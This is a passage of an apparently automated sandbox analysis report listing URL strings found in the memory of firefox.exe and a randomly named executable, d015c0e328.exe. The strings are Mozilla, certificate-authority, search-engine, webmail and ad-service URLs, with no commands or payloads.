00000019.00000003.2724702547.00000209AA3F5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2745476179.00000209AFF66000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2882778473.00000209A7D08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2881044448.00000209A7B99000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3000812741.00000209AB17C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3039263764.00000209AFF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3000812741.00000209AB13E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2961463851.00000209AA1E7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2881578147.00000209A7BD4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2639249130.00000209A7B98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3030128647.00000209AFD40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gr
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatePREF_APP_UPDATE_NOTIFYDURINGDOWNLOAD
Source: firefox.exe, 00000019.00000002.3010933529.00000209AB403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2881957900.00000209A7C4B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000019.00000003.2726569286.00000209AA199000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2961463851.00000209AA199000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulApplication
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulExpected
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulMozElements.MozElementMixin/parseXULToF
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-data-s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/autoco
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 00000019.00000002.2961463851.00000209AA15C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2726569286.00000209AA15C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulj
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/firefox-view-tabs-s
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: firefox.exe, 00000019.00000002.2961463851.00000209AA15C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2726569286.00000209AA15C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulw
Source: firefox.exe, 0000001C.00000003.2715655447.000001CC762FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.videolan.org/x264.html
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: d015c0e328.exe, 00000007.00000003.2510831156.0000000005A39000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2645209357.0000000005D66000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2749789372.00000000053A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2908707750.00000209A8690000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000019.00000003.2629667399.00000209A7D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629038791.00000209A7D20000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2870035026.00000209A5F00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000003.2629472889.00000209A7D5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629282682.00000209A7D3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/Invalid
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000019.00000002.3014477171.00000209AB761000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000019.00000002.3014477171.00000209AB77B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 00000019.00000003.2724088412.00000209AB7A4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2946956724.00000209A9FDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2961463851.00000209AA103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EF9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2891470046.00000209A82F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etpsessionstore.closedTabsFromClosedWindows
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000019.00000002.2916177272.00000209A896C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2928881374.00000209A8F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 00000019.00000002.2928881374.00000209A8F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: d015c0e328.exe, 00000007.00000003.2512194830.00000000059F1000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2648546416.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000019.00000002.2940971557.00000209A9603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3EB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180resource://gre/modules/InlineSpellChecker.sys.mj
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3032731152.00000209AFE7E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E72000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000019.00000002.2934623344.00000209A92B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 00000019.00000002.2934623344.00000209A92B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: d015c0e328.exe, 00000007.00000003.2512194830.00000000059F1000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2648546416.0000000005D31000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: d015c0e328.exe, 00000016.00000003.2754496805.0000000000546000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A2B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2804534100.00000209A34AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000019.00000002.2878134580.00000209A7AC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2893910824.00000209A8415000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2722286629.00000209B035C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000019.00000002.2796475486.0000020997E11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2712404213.00000209AFF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 00000019.00000002.3032731152.00000209AFEAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabPlease
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureOffscreenCanvas.toBlob()
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureInstallTrigger.install()
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000019.00000002.2831590852.00000209A3E03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsUsi
Source: firefox.exe, 00000019.00000002.2826386479.00000209A3D12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 00000019.00000002.2944125123.00000209A9E38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 00000019.00000002.2870979086.00000209A5F90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 00000019.00000002.3039369779.00000209AFF6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2744622132.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2712404213.00000209AFF73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2718772825.00000209AFF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 00000019.00000002.2859374693.00000209A5BA5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2835923520.00000209A4A03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 00000019.00000002.2991507780.00000209AA355000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000003.2629282682.00000209A7D3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.2881957900.00000209A7C4B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d015c0e328.exe, 00000007.00000003.2456238673.0000000005A3D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000007.00000003.2456369862.0000000005A3B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2582916048.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 0000000A.00000003.2583248555.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2683766739.0000000005398000.00000004.00000800.00020000.00000000.sdmp, d015c0e328.exe, 00000016.00000003.2682542124.00000000053AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 00000019.00000002.2893910824.00000209A845B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
